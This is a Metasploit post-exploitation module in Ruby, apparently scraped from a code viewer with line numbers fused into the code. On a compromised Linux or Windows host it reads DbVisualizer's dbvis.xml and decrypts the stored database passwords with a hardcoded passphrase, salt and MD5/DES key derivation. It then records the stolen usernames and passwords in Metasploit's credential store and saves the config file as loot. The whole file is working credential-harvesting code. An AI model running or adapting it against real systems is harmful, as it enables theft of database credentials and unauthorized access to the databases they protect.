Path: blob/master/modules/post/multi/gather/dbvis_enum.rb
19715 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'openssl'6require 'digest/md5'78class MetasploitModule < Msf::Post9include Msf::Post::File10include Msf::Post::Unix11include Msf::Auxiliary::Report1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Multi Gather DbVisualizer Connections Settings',18'Description' => %q{19DbVisualizer stores the user database configuration in dbvis.xml.20This module retrieves the connections settings from this file and decrypts the encrypted passwords.21},22'License' => MSF_LICENSE,23'Author' => [ 'David Bloom' ], # Twitter: @philophobia7824'Platform' => %w[linux win],25'SessionTypes' => [ 'meterpreter', 'shell'],26'Compat' => {27'Meterpreter' => {28'Commands' => %w[29stdapi_sys_config_getenv30]31}32},33'Notes' => {34'Stability' => [CRASH_SAFE],35'SideEffects' => [],36'Reliability' => []37}38)39)40register_options(41[42OptString.new('PASSPHRASE', [false, 'The hardcoded passphrase used for encryption']),43OptInt.new('ITERATION_COUNT', [false, 'The iteration count used in key derivation', 10])44]45)46end4748def run49oldversion = false5051case session.platform52when 'linux'53user = session.shell_command('whoami').chomp54print_status("Current user is #{user}")55if user =~ /root/56user_base = '/root/'57else58user_base = "/home/#{user}/"59end60dbvis_file = "#{user_base}.dbvis/config70/dbvis.xml"61when 'windows'62if session.type == 'meterpreter'63user_profile = session.sys.config.getenv('USERPROFILE')64else65user_profile = cmd_exec('echo %USERPROFILE%').strip66end67dbvis_file = user_profile + '\\.dbvis\\config70\\dbvis.xml'68end6970unless file?(dbvis_file)71# File not found, we next try with the old config path72print_status("File not found: #{dbvis_file}")73print_status('This could be an older version of dbvis, trying old path')74case session.platform75when 'linux'76dbvis_file = "#{user_base}.dbvis/config/dbvis.xml"77when 'windows'78dbvis_file = user_profile + '\\.dbvis\\config\\dbvis.xml'79end80unless file?(dbvis_file)81print_error("File not found: #{dbvis_file}")82return83end84oldversion = true85end8687print_status("Reading: #{dbvis_file}")88print_line89raw_xml = ''90begin91raw_xml = read_file(dbvis_file)92rescue EOFError93# If there's nothing in the file, we hit EOFError94print_error("Nothing read from file: #{dbvis_file}, file may be empty")95return96end9798if oldversion99# Parse old config file100db_table = parse_old_config_file(raw_xml)101else102# Parse new config file103db_table = parse_new_config_file(raw_xml)104end105106if db_table.rows.empty?107print_status('No database settings found')108else109print_line110print_line(db_table.to_s)111print_good('Try to query listed databases with dbviscmd.sh (or .bat) -connection <alias> -sql <statements> and have fun!')112print_line113# Store found databases in loot114p = store_loot('dbvis.databases', 'text/csv', session, db_table.to_csv, 'dbvis_databases.txt', 'dbvis databases')115print_good("Databases settings stored in: #{p}")116end117118print_status("Downloading #{dbvis_file}")119p = store_loot('dbvis.xml', 'text/xml', session, read_file(dbvis_file), dbvis_file.to_s, 'dbvis config')120print_good "dbvis.xml saved to #{p}"121end122123# New config file parse function124def parse_new_config_file(raw_xml)125db_table = Rex::Text::Table.new(126'Header' => 'DbVisualizer Databases',127'Indent' => 2,128'Columns' =>129[130'Alias',131'Type',132'Server',133'Port',134'Database',135'Namespace',136'UserID',137'Password'138]139)140141dbs = []142db = {}143dbfound = false144version_found = false145146# fetch config file147raw_xml.each_line do |line|148if version_found == false149version_found = find_version(line)150end151152if line =~ /<Database id=/153dbfound = true154elsif line =~ %r{</Database>}155dbfound = false156if db[:Database].nil?157db[:Database] = ''158end159if db[:Namespace].nil?160db[:Namespace] = ''161end162# save163dbs << db if db[:Alias] && db[:Type] && db[:Server] && db[:Port]164db = {}165end166167next unless dbfound == true168169# get the alias170if line =~ %r{<Alias>([\S+\s+]+)</Alias>}i171db[:Alias] = ::Regexp.last_match(1)172end173174# get the type175if line =~ %r{<Type>([\S+\s+]+)</Type>}i176db[:Type] = ::Regexp.last_match(1)177end178179# get the user180if line =~ %r{<Userid>([\S+\s+]+)</Userid>}i181db[:UserID] = ::Regexp.last_match(1)182end183184# get user password185if line =~ %r{<Password>([\S+\s+]+)</Password>}i186enc_password = ::Regexp.last_match(1)187db[:Password] = decrypt_password(enc_password)188end189190# get the server191if line =~ %r{<UrlVariable UrlVariableName="Server">([\S+\s+]+)</UrlVariable>}i192db[:Server] = ::Regexp.last_match(1)193end194195# get the port196if line =~ %r{<UrlVariable UrlVariableName="Port">([\S+\s+]+)</UrlVariable>}i197db[:Port] = ::Regexp.last_match(1)198end199200# get the database201if line =~ %r{<UrlVariable UrlVariableName="Database">([\S+\s+]+)</UrlVariable>}i202db[:Database] = ::Regexp.last_match(1)203end204205# get the Namespace206if line =~ %r{<UrlVariable UrlVariableName="Namespace">([\S+\s+]+)</UrlVariable>}i207db[:Namespace] = ::Regexp.last_match(1)208end209end210211# Fill the tab and report eligible servers212dbs.each do |database|213if ::Rex::Socket.is_ipv4?(database[:Server].to_s)214print_good("Reporting #{database[:Server]}")215report_host(host: database[:Server])216end217218db_table << [219database[:Alias],220database[:Type],221database[:Server],222database[:Port],223database[:Database],224database[:Namespace],225database[:UserID],226database[:Password]227]228report_cred(229ip: database[:Server],230port: database[:Port].to_i,231service_name: database[:Type],232username: database[:UserID],233password: database[:Password]234)235end236237return db_table238end239240# New config file parse function241def parse_old_config_file(raw_xml)242db_table = Rex::Text::Table.new(243'Header' => 'DbVisualizer Databases',244'Indent' => 2,245'Columns' =>246[247'Alias',248'Type',249'URL',250'UserID',251'Password'252]253)254255dbs = []256db = {}257dbfound = false258version_found = false259260# fetch config file261raw_xml.each_line do |line|262if version_found == false263version_found = find_version(line)264end265266if line =~ /<Database id=/267dbfound = true268elsif line =~ %r{</Database>}269dbfound = false270# save271dbs << db if db[:Alias] && db[:Url]272db = {}273end274275next unless dbfound == true276277# get the alias278if line =~ %r{<Alias>([\S+\s+]+)</Alias>}i279db[:Alias] = ::Regexp.last_match(1)280end281282# get the type283if line =~ %r{<Type>([\S+\s+]+)</Type>}i284db[:Type] = ::Regexp.last_match(1)285end286287# get the user288if line =~ %r{<Userid>([\S+\s+]+)</Userid>}i289db[:UserID] = ::Regexp.last_match(1)290end291292# get the user password293if line =~ %r{<Password>([\S+\s+]+)</Password>}i294enc_password = ::Regexp.last_match(1)295db[:Password] = decrypt_password(enc_password)296end297298# get the server URL299if line =~ %r{<Url>(\S+)</Url>}i300db[:URL] = ::Regexp.last_match(1)301end302end303304# Fill the tab305dbs.each do |database|306if (database[:URL] =~ %r{[\S+\s+]+/+([\S+\s+]+):[\S+]+}i)307server = ::Regexp.last_match(1)308if ::Rex::Socket.is_ipv4?(server)309print_good("Reporting #{server}")310report_host(host: server)311end312end313db_table << [314database[:Alias],315database[:Type],316database[:URL],317database[:UserID],318database[:Password]319]320report_cred(321ip: server,322port: '',323service_name: database[:Type],324username: database[:UserID],325password: database[:Password]326)327end328329return db_table330end331332def find_version(tag)333if tag =~ %r{<Version>([\S+\s+]+)</Version>}i334print_good("DbVisualizer version: #{::Regexp.last_match(1)}")335return true336end337338false339end340341def report_cred(opts)342service_data = {343address: opts[:ip],344port: opts[:port],345service_name: opts[:service_name],346protocol: 'tcp',347workspace_id: myworkspace_id348}349350credential_data = {351post_reference_name: refname,352session_id: session_db_id,353origin_type: :session,354private_data: opts[:password],355private_type: :password,356username: opts[:username]357}.merge(service_data)358359login_data = {360core: create_credential(credential_data),361status: Metasploit::Model::Login::Status::UNTRIED362}.merge(service_data)363364create_credential_login(login_data)365end366367def decrypt_password(enc_password)368enc_password = Rex::Text.decode_base64(enc_password)369dk, iv = get_derived_key370des = OpenSSL::Cipher.new('DES-CBC')371des.decrypt372des.key = dk373des.iv = iv374des.update(enc_password) + des.final375end376377def get_derived_key378key = passphrase + salt379iteration_count.times do380key = Digest::MD5.digest(key)381end382return key[0, 8], key[8, 8]383end384385def salt386[-114, 18, 57, -100, 7, 114, 111, 90].pack('C*')387end388389def passphrase390datastore['PASSPHRASE'] || 'qinda'391end392393def iteration_count394datastore['ITERATION_COUNT'] || 10395end396end397398399